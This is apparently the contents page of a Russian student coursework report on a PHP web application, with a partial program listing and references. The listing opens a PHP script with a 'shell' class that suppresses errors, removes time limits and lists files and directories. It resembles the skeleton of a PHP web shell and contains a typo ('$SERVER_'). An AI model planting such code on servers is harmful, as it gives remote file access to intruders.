Введение 5
1.Анализ объекта 7
1.1 Описание предметной области 7
2. Постановка задачи 8
2.1. Определение требований к программной системе 8
2.2. Описание аналогов системы 8
2.3 Обзор и обоснование выбора инструментальных средств 9
3. Проектирование 11
3.1. Разработка архитектуры программного продукта 11
3.2. Исходный код программы 12
4. Реализация 13
4.1. Разработка интерфейса программного продукта 13
5. Интеграционное тестирование 17
5.1. Оценка безопасности 17
5.3. Тестирование производительности 17
Заключение 18
Литература 19
Листинг программы
Листинг программы (частично):
<?
error_reporting(0);
set_time_limit(0);
session_start();
$xshell = $SERVER_['PHP_SELF'];
class shell
{
function getfiles()
{
$mas = array();
$i = 0;
if ($handle = opendir($_SESSION['currentdir']))
{
while (false !== ($file = readdir($handle)))
if ($file != '..')
if (!is_dir($_SESSION['currentdir'].'/'.$file))
{
$mas[$i]['filename'] = $file;
$mas[$i]['filesize'] = filesize($_SESSION['currentdir'].'/'.$file);
$mas[$i]['lastmod'] = date("H.i/d.m.Y", filemtime($_SESSION['currentdir'].'/'.$file));
$i++;
}
closedir($handle);
}
return $mas;
}
function getdirs()
{
$mas = array();
if ($handle = opendir($_SESSION['currentdir']))
{
while (false !== ($dir = readdir($handle)))
if ($dir != '.' && is_dir($_SESSION['currentdir'].'/'.$dir))
$mas[] = $dir;
closedir($handle);
}
return $mas;
}
1. Справочник языка PHP [Электронный ресурс]. Режим доступа: https://php.ru/manual/. – Дата доступа: 20.11.2021.
2. Веб-уроки [Электронный ресурс]. Режим доступа: https://smartiqa.ru/courses/web/lesson-1– Дата доступа: 10.11.2021.
3. Учебно-методическое пособие «Проектирование интернет-приложений» [Электронный ресурс]. Режим доступа: https://elar.urfu.ru/bitstream/10995/34785/1/978-5-7996-1503-1.pdf – Дата доступа: 15.11.2021.
4. Стивенс, Феннер, Рудофф: UNIX: Разработка сетевых приложений – Издательство: Питер, 2007 г., 1088 с.
5. Функции файловой системы [Электронный ресурс]. Режим доступа: https://www.php.net/manual/ru/ref.filesystem.php – Дата доступа: 16.11.2021.
6. Глушаков, С. В. – Программирование Web-страниц. – Харьков: Фолио, 2005. – 390 с.